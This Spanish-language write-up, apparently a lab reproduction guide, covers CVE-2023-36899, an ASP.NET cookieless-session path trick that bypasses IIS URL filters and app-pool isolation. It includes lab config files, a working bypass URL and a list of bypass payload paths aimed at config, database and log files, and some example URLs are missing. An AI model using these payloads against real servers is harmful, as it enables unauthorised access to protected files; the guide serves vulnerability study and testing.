
Entorno y herramientas de reproducción de la vulnerabilidad CVE-2023-36899, dirigidos a la evasión de la autenticación de sesión sin cookies en el framework ASP.NET.
Entorno de reproducción y herramientas para la vulnerabilidad CVE-2023-36899, dirigida a la omisión de autenticación de sesión sin cookies en el framework ASP.NET.
Cookieless DuoDrop: IIS Auth Bypass & App Pool Privesc in ASP.NET Framework (CVE-2023-36899)
En el desarrollo web moderno, aunque las cookies son el método preferido para transmitir el ID de sesión, .NET Framework también ofrece un método alternativo: codificar el ID de sesión directamente en la URL. Esta técnica se conoce como la característica "sin cookies" en .NET Framework. Muchos desarrolladores y evaluadores de seguridad pasan por alto esta opción porque es rara en aplicaciones reales. Sin embargo, se ha convertido en un tesoro para descubrir vulnerabilidades del cliente, como fijación de sesión, secuestro de sesión, inyección de HTML y cross-site scripting. Además, esta característica puede ser explotada para evadir reglas de firewall basadas en rutas que no estén configuradas para reconocer el método sin cookies. Debido a problemas de seguridad inherentes, .NET Core y las versiones posteriores de .NET omitieron la característica sin cookies. Pero no podemos olvidar la gran cantidad de aplicaciones web que aún usan el .NET Framework clásico.
Puntos clave:
La característica sin cookies de .NET Framework puede ser abusada para acceder a directorios protegidos o bloqueados por los filtros de URL de IIS. Por ejemplo, considere la siguiente situación en el sitio victim.com:
Normalmente, el acceso a estas páginas a través de estas URL sería bloqueado en IIS:
Pero la característica sin cookies se puede explotar para acceder a estas páginas mediante los siguientes patrones:
La forma en que IIS gestiona los grupos de aplicaciones puede conducir a una escalada de privilegios o una evasión de seguridad. Es posible manipular la característica sin cookies de .NET Framework para forzar a una aplicación IIS a ejecutarse con el grupo de aplicaciones de su padre en lugar del suyo propio. Por ejemplo:
Un archivo C# llamado AppPoolPrint.aspx es accesible en todas las aplicaciones mencionadas y muestra el nombre del grupo de aplicaciones actual. Al usar la característica sin cookies dos veces, podemos ejecutar esta página con el grupo de aplicaciones de su padre:
Esto permite que incluso las páginas en /classic/nodotnet/ (que no deberían ejecutar código administrado) ejecuten páginas ASPX usando el grupo de aplicaciones de su padre. Este comportamiento puede conducir a una escalada de privilegios en IIS.
Al instalar IIS, seleccione
Contenido de prueba del archivo target.aspx:
<%@ Page Language="C#" %>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>ASPX Test</title>
</head>
<body>
This is a static text. <br>
Dynamic text: <%= DateTime.Now.ToString() %>
</body>
</html>
Contenido de prueba del archivo web.config en la raíz:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<compilation debug="true" targetFramework="4.5" />
<httpRuntime targetFramework="4.5" />
<sessionState mode="InProc" cookieless="UseCookies" />
</system.web>
</configuration>
Donde significa que el sitio web usa cookies para almacenar cierta información de sesión predeterminada, etc. Esto también es lo predeterminado.

Usando http://10.0.2.15:8080/webform/(S(X))/b/(S(X))in/target1.aspx se accede con éxito

Posible lista de payloads:
/config/(S(X))/a/(S(X))pp/settings.xml
/config/(S(X))/settings.xml
/config/(S(X))/database.yml
/admin/(S(X))/config.xml
/a/(S(X))ppled/resource
/dashboard/(S(X))/data.json
/logs/(S(X))/error.log
/api/v1/(S(X))/config.json
/admin/s/(S(X))ettings/config.xml
/manage/s/(S(X))cripts/script.js
/dashboard/d/(S(X))ata/data.json
/config/dat/(S(X))abase/database.yml
....
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36899 https://soroush.me/blog/2023/08/cookieless-duodrop-iis-auth-bypass-app-pool-privesc-in-asp-net-framework-cve-2023-36899/ https://nvd.nist.gov/vuln/detail/CVE-2023-36899 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-36899